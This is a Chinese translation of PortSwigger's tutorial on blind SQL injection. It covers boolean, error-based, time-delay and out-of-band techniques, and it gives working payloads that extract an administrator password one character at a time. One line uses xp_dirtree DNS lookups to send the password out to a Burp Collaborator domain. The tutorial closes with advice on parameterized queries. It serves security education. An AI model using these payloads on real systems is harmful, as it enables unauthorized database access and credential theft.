本文翻譯自：https://portswigger.net/web-security/sql-injection/blind

在這一部分，我們將描述什么是盲目的SQL注入，解釋各種發現和利用盲目的SQL注入漏洞的技術。

什么是SQL盲注？

當應用程序易受SQL注入攻擊，但其HTTP響應不包含相關SQL查詢的結果或任何數據庫錯誤的詳細信息時，就會出現SQL盲注。

由于存在SQL盲注漏洞，許多技術(如聯合注入)并不有效，因為它們依賴于能夠在應用程序的響應中看到注入查詢的結果。仍然有可能利用盲SQL注入來訪問未經授權的數據，但是必須使用不同的技術。

通過觸發條件反應利用SQL盲注

假設有一個使用跟蹤cookies收集使用分析的應用程序。對應用程序的請求包括如下cookie頭:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

當處理包含 TrackingId 的cookie請求時，應用程序使用如下SQL查詢來確定這是否是已知用戶:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

該查詢易受SQL注入攻擊，但查詢結果不會返回給用戶。但是，根據查詢是否返回任何數據，應用程序的行為會有所不同。如果它返回數據(因為提交了一個可識別的 TrackingId )，則在頁面中顯示“歡迎回來”消息。

這種行為足以利用SQL注入盲漏洞，并通過根據注入條件有條件地觸發不同的響應來檢索信息。要了解這是如何工作的，假設發送了兩個依次包含以下 TrackingId cookie值的請求:

…xyz' AND '1'='1 …xyz' AND '1'='2

這些值中的第一個將導致查詢返回結果，因為注入的 AND '1'='1 條件為真，因此將顯示“歡迎回來”消息。而第二個值將導致查詢不返回任何結果，因為注入的條件為假，因此不會顯示“歡迎回來”消息。這使我們能夠確定任何單一注入條件的答案，從而一次提取一位數據。

例如，假設有一個名為 Username 和 Password 列的 Users 表，以及一個名為 Administrator 的用戶。我們可以通過一次發送一系列輸入來測試一個字符的密碼，從而系統地確定該用戶的密碼。

為此，我們從以下輸入開始：

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

這將返回“歡迎回來”消息，指示注入的條件為真，因此密碼的第一個字符大于 m

接下來，我們發送以下輸入:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

這不會返回“歡迎回來”消息，表明注入的條件為假，因此密碼的第一個字符不大于 t。

最終，我們發送以下輸入，返回“歡迎回來”消息，從而確認密碼的第一個字符是 s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 's

我們可以繼續此過程，從而系統地確定管理員用戶的完整密碼。

筆記

SUBSTRING函數在某些類型的數據庫上被稱為SUBSTR。有關更多詳細信息，請參見SQL注入備忘單。

實驗：有條件響應的SQL盲注

通過觸發SQL錯誤引發條件響應

在前面的示例中，假設應用程序執行相同的SQL查詢，但是根據查詢是否返回任何數據，其行為沒有任何不同。前面的技術不起作用，因為注入不同的布爾條件對應用程序的響應沒有影響。

在這種情況下，通常可以根據注入的條件，通過有條件地觸發SQL錯誤來誘導應用程序返回條件響應。這包括修改查詢，以便在條件為真時會導致數據庫錯誤，但在條件為假時不會。通常，數據庫引發的未處理錯誤會導致應用程序的響應有所不同(如錯誤消息)，從而使我們能夠推斷注入條件的真實性。

要了解這是如何工作的，假設發送了兩個依次包含以下 TrackingId 的cookie請求:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

這些輸入使用 CASE 關鍵字來測試條件，并根據表達式是否為真返回不同的表達式。對于第一個輸入， CASE 表達式的計算結果為'a'，這不會導致任何錯誤。對于第二個輸入，它的計算結果為 1/0 ，這將導致被零除的錯誤。假設錯誤導致應用程序的HTTP響應有一些差異，我們可以使用這個差異來推斷注入的條件是否為真。

使用這種技術，我們可以通過系統地一次測試一個字符，以已經描述的方式檢索數據:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

注意

觸發條件錯誤的方式多種多樣，不同的技術適合不同的數據庫類型。有關更多詳細信息，請參見SQL注入備忘單。

實驗：有條件報錯的SQL盲注

通過觸發時間延遲利用SQL盲注

在前面的示例中，假設應用程序現在捕捉到數據庫錯誤并妥善處理它們。在執行注入的SQL查詢時觸發數據庫錯誤不再導致應用程序的響應有任何不同，因此前面誘導條件錯誤的技術將不起作用。

在這種情況下，通常有可能根據注入的條件，通過有條件地觸發時間延遲來利用盲SQL注入漏洞。因為SQL查詢通常由應用程序同步處理，所以延遲SQL查詢的執行也會延遲HTTP響應。這使我們能夠根據收到HTTP響應之前的時間來推斷注入條件的真實性。

觸發時間延遲的技術非常具體地取決于所使用的數據庫類型。在Microsoft SQL Server上，類似以下的輸入可用于測試條件并根據表達式是否為真觸發延遲:

'; IF (1=2) WAITFOR DELAY '0:0:10'-- '; IF (1=1) WAITFOR DELAY '0:0:10'--

第一個輸入不會觸發延遲，因為條件 1=2 為假。第二個輸入將觸發10秒的延遲，因為條件 1=1 為真。

使用這種技術，我們可以通過系統地一次測試一個字符，以已經描述的方式檢索數據:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

注意

在SQL查詢中有各種觸發時間延遲的方法，不同的技術適用于不同類型的數據庫。有關更多詳細信息，請參見SQL注入備忘單。

實驗：時間延遲SQL盲注

實驗：時間延遲SQL盲注與信息檢索

利用帶外技術進行SQL盲注

現在，假設應用程序執行相同的SQL查詢，但是異步執行的。應用程序繼續在原始線程中處理用戶的請求，并使用另一個線程使用跟蹤cookie執行SQL查詢。查詢仍然容易受到SQL注入的攻擊，但是到目前為止所描述的技術都不起作用：應用程序的響應不依賴于查詢是否返回任何數據，也不依賴于數據庫是否出錯，或者執行查詢所花費的時間。

在這種情況下，通常有可能通過觸發您控制的系統的帶外網絡交互來利用SQL盲注漏洞。如前所述，根據注入的條件，這些可以有條件地觸發，以一次一位地推斷信息。但是更強大的是，數據可以直接在網絡交互中被過濾掉。

多種網絡協議可用于此目的，但通常最有效的是DNS(域名服務)。這是因為許多生產網絡允許DNS查詢自由流出，因為它們對于生產系統的正常運行至關重要。

使用帶外技術最簡單、最可靠的方法是使用Burp Collaborator。這是一個服務器，提供各種網絡服務(包括域名系統)的自定義實現，并允許您檢測何時由于向易受攻擊的應用程序發送單個有效負載而發生網絡交互。對Burp Collaborator的支持內置于 Burp Suite Professional 中，無需配置。

觸發域名系統查詢的技術非常特定于所使用的數據庫類型。在Microsoft SQL Server上，類似以下的輸入可用于在指定的域上進行DNS查找:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

這將導致數據庫對以下域執行查找:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

您可以使用Burp Suite的 Collaborator client 生成一個唯一的子域，并輪詢 Collaborator client 以確認何時發生任何域名系統查找。

實驗：帶外交互的SQL盲注

在確認了觸發帶外交互的方法后，您可以使用帶外通道從易受攻擊的應用程序中提取數據。例如:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

該輸入讀取 Administrator 用戶的密碼，拼接了唯一的Collaborator子域，并觸發域名系統查找。這將導致如下的DNS查找，允許您查看捕獲的密碼:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

帶外(OAST)技術是檢測和利用盲SQL注入的一種極其強大的方法，因為成功的可能性很高，并且能夠直接在帶外信道中導出數據。由于這個原因，OAST技術通常是更可取的，即使在其他盲目開發技術確實有效的情況下。

注意

觸發帶外交互的方式多種多樣，不同的技術適用于不同類型的數據庫。有關更多詳細信息，請參見SQL注入備忘單。

實驗：帶外數據導出的盲SQL注入

如何防止盲目的SQL注入襲擊？

盡管發現和利用盲目的SQL注入漏洞所需的技術與普通SQL注入不同，也更復雜，但無論漏洞是否盲目，預防SQL注入所需的措施都是一樣的。

與常規的SQL注入一樣，可以通過謹慎使用參數化查詢來防止盲目的SQL注入攻擊，這可以確保用戶輸入不會干擾預期的SQL查詢的結構。

總結

以上是生活随笔為你收集整理的SQL 盲注的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。